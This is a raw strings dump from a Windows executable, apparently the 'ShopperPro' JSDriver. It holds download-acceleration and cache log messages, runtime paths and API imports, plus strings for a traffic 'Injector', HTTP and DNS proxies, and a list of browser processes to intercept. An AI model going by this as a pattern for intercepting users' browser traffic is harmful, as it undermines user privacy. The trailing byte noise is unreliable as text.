[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges
[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d
[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d
[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld
[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)
[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain
AccelerationLogicHD::AccelerateIsSupported
[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)
[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d
[AccelerationLogicHD::Reset] FDM=%d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule
[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d
[CConnectionsManager::ResetStartAcceleration] AvgBps: %d
[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)
[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)
[CConnectionsManagerSocket] socket %d
[CConnectionsManagerSocket::OnReadEvent] socket %d
[CConnectionsManagerSocket::OnWriteEvent] socket %d
[CConnectionsManagerSocket::OnCloseEvent] socket %d
[CConnectionsManagerSocket::OnAcceptEvent] socket %d
[CConnectionsManagerSocket::OnConnectEvent] socket %d
[~CConnectionsManagerSocket] socket %d
[CConnectionsManager::OnReadEvent] socket %d
[CConnectionsManager::OnWriteEvent] socket %d
[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms
[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d
[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d
[CConnectionsManager::AddConnection] ___Warning socket %d - not connected
[CConnectionsManager::Work] Remote: %s:%d - Done.
[CConnectionsManager::Work] ___Error Connect socket %d
[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x
[CConnectionsManager::Work] Add socket %d - Remote: %s:%d
[CConnectionsManager::Work] Remote: %s:%d
[CConnectionsManager::Cleanup] %d sockets left in map
[CConnectionsManager::Cleanup] Cleaning %d sockets from map
[CConnectionsManager::RemoveConnection] socket %d
[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***
[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName
[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d
[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d
[CConnectionsManager::OnCloseEvent] socket %d
lighttpd/1.4.8
[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld
[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)
[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld
[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)
[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)
[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d
[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d
[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld
[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d
[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d
[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)
[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)
[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)
[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)
[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d
[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)
[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d
[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d
[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d
[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule
AppleWebKit
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.
AccelerationLogic::AccelerateIsSupported
[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s
[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s
[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s
[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s
[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d
NonSupportRangeServersList
[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s
[AccelerationLogic::CreateAnyRule] FDM=%d
[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported
[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s
[AccelerationLogic::Reset] FDM=%d
[~AccelerationLogic - %p] FDM=%d - ... Leave
[~AccelerationLogic - %p] FDM=%d - Enter ...
[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d
[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes
[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld
[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d
[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld
[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d
[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes
[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d
[CHttpCacheData] CD:%d, Url: %s
[~CHttpCacheData] CD:%d
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d
[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld
[CacheWorker::SetSize - %p] Cache size: %d
[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d
[CacheWorker::SetEncryptionKey - %p] Key: %p
[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::AppendToCache - %p] Bytes in buffer: %d
[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld
[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes
[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes
[CacheWorker::Write - %p] *** Finished to download & write job:%d ***
[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] ___Warning already finished job:%d
[CacheWorker::Write - %p] Bytes in buffer: %d
[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.
[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.
f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum
f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime
f:\dd\vctools\crt_bld\self_x86\crt\src\locale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon
%d / %m / %y
%I : %M : %S %p
%m / %d / %y
%b %d %H : %M : %S %Y
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c
Client hook allocation failure at file %hs line %d.
Memory allocated at %hs(%d).
Client hook re-allocation failure at file %hs line %d.
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory after end of heap buffer.
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory before start of heap buffer.
CRT detected that the application wrote to a heap buffer that was freed.
crt block at 0x%p, subtype %x, %Iu bytes long.
client block at 0x%p, subtype %x, %Iu bytes long.
%hs(%d) :
#File Error#(%d) :
Data: <%s> %s
f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c
Visual C   CRT: Not enough memory to complete call to strerror.
f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
_CrtDbgReport: String too long or IO Error
Debug %s!
Program: %s%s%s%s%s%s%s%s%s%s%s%s
f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c
f:\dd\vctools\crt_bld\self_x86\crt\src\read.c
%s(%d) : %s
_CrtDbgReport: String too long or Invalid characters in String
GetProcessWindowStation
f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c
f:\dd\vctools\crt_bld\self_x86\crt\src\input.c
f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c
Broken pipe
Inappropriate I/O control operation
Operation not permitted
f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c
portuguese-brazilian
operator
f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c
ICACLS.EXE
SOFTWARE\%s
Global\%s_CONFIG_XML
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
Injector dump %s: %s
inj_rem remain %d
inj_loc remain %d
%s PutChunk send %d bytes to server
%s PutChunk send %d bytes to client
%s close pRemoteInj
%s close pLocalInj
New EmuSession flow %lld, now %d
Injector: Flow %lld, create session %X
Injector: Flow %lld, FDM=%d (%d)
%s ConnectedToVA, pLocalInj %p, pLocalVA %p
Delete EmuSession flow %lld, remain %d, chunks %d
%s delete Session %X
%s HandleChunk FWPS_STREAM_FLAG_SEND len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_ABORT
Injector: FDM=%d (%d)
%s ConnectToInj, Session not found pLocalVA %X
%s ConnectToInj
Cleanup %s
allports
iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe
[Stproxy]: open driver HANDLE %p, err %d
jsdriver: LoadConfig: error parsing Config.json
parsing Config.json
IOCTL_ENABLE_INTERCEPT res %d
SetThreadPriority %d
error %d
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase
0123456789.eE- 
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum
Windows NT 6.1
%s?e=%s
zvl=%s&
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Type: multipart/form-data; boundary=%s
HTTP/1.1
XXX
Software\Microsoft\Windows\CurrentVersion\Internet Settings
%s\%s
C:\Builds\Build_ShopperProMulti\JSDriver\1.41.0.0\JsDriver\Release\jsdrv.pdb
WSAJoinLeaf
WS2_32.dll
VERSION.dll
USERENV.dll
HttpQueryInfoA
InternetOpenUrlA
InternetCrackUrlA
HttpSendRequestA
HttpAddRequestHeadersA
HttpOpenRequestA
HttpSendRequestExA
HttpEndRequestA
WININET.dll
GetProcessHeap
GetCPInfo
PeekNamedPipe
KERNEL32.dll
MsgWaitForMultipleObjectsEx
CloseWindowStation
SetProcessWindowStation
OpenWindowStationA
USER32.dll
RegNotifyChangeKeyValue
RegOpenKeyExA
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyExA
RegQueryInfoKeyA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AVSaveWatchUrl@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
HTTP://
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
.?AVCAsyncUdpSocket@@
.?AVCExecuteUpdate@@
..\Common\Base64.cpp
..\Common\Base64MultiBytes.cpp
<>"#%{}|\^~[]`' ?&
<>"#{}|\^~[]`' ?&
.?AVIHttpProxyWorker@@
.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@
.?AVIInjHttpProxyServer@@
.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@
.?AV?$IBaseInterface@VIHttpProxyServer@@@@
.?AVIHttpProxyServer@@
.?AVInjHttpProxyServer@@
.?AVHttpProxyServer@@
.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@
.?AVIHttpStreamSink@@
.?AVIHttpFileDownloadMgr@@
.?AVInjHttpProxyLocal@@
.?AVHttpProxyLocal@@
.?AVHttpProxyWorker@@
.?AVInjHttpProxyRemote@@
.?AVHttpProxyRemote@@
.?AVHttpParser@@
VA_SUBJECT_FMD_%d_WORKER_CREATED
VA_SUBJECT_FMD_%d_RANGE_CREATED
VA_SUBJECT_FMD_%d
VA_SUBJECT_FMD_%d_WORKER_%d
.?AVHttpCookie@@
.?AVHttpCookieJar@@
.?AV?$IBaseInterface@VIHttpCacheManager@@@@
.?AVIHttpCacheManager@@
.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@
.?AVCHttpCacheManager@@
.?AVCProxyServerPassThrough@@
.?AVCHttpCacheData@@
zcÁ
.?AVCHttpAsync@@
.?AVCHttp@@
1.0.1.4
3.0.9093.1748
%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
2 2(2.242|2
5#6(6:6;7
5 5$5(5,50545
78t8
<(=3=&?7?
9Ÿ9T9h9
99R9
8Ÿ9X9w9
>$> >>>}>
; ;$;(;,;0;4;~;
364;4&686
:!<2<{<>=
6 6$6(6,6
0(1-12171
2y3~3 4%4U4Z4
9 9$9(9,9
51666;6@6
8/84898|8
9{:&;5;[;
6'6@6(:;:
<*=0=4=8=<=
;4;9;>;~;
? ?$?(?,?0?4?
3/44494,6
8 8$8(8,808
> ?0?5?|?
4M4c4
8(8-828x8}8
5_5T5f5n5
88T8f8n8
= =$=(=,=
0 0$0(0,0
4 4$4(4,4044484<4
2 2$2(2,2024282<2@2
3 3$3(3,3034383
8 8$8(8,8084888
=$?(?,?0?
0949(:,:
9 9(90989@9
< <$<(<,<0<
5 5(505<5`5
0(000<0`0
0$0,080\0|0
?(?0?<?`?
9 9(909<9`9
:$:,:8:\:|:
2 2$2(2,2024282`2
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator   
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --
dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator   
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *
